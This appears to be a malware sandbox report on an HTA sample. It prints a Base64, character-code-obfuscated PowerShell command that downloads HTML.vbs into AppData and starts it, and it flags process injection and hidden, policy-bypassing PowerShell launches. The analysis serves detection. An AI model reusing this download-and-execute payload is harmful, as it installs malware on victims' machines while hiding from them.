AAkACQAgAAkAWwBjAEgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAMwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADAANQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADAAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMAAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAMQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcAMgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAOAA0ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA3ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAOQA4ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANQAgAAkAIAAgACAACQAJAAkAIAAJACkAIAAJAAkAIAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAJAC0AbwB1AHQARgBpAGwAZQAgACAACQAJACAAIAAJACAACQAJAB0gJABFAG4AVgA6AEEAcABwAEQAYQB0AEEAXABIAFQATQBMAC4AdgBiAHMAHSAgACAACQAJACAACQAgACAACQAgACAACQAJACAACQA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABBAFIAVAAgACAAIAAgACAAIAAgACAAHSAkAEUAbgB2ADoAQQBQAFAARABhAFQAYQBcAEgAVABNAEwALgB2AGIAcwAdIA== "
parent_process	powershell.exe	martian_process	C:\Users\test22\AppData\Roaming\HTML.vbs

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2412 resumed a thread in remote process 2528
NtResumeThread Sept. 19, 2023, 6:23 p.m.	thread_handle: 0x0000000000000364 suspend_count: 1 process_identifier: 2528	1	0	0

Creates a suspicious Powershell process (9 events)

option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window
option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window
option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window

HTML.hta

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All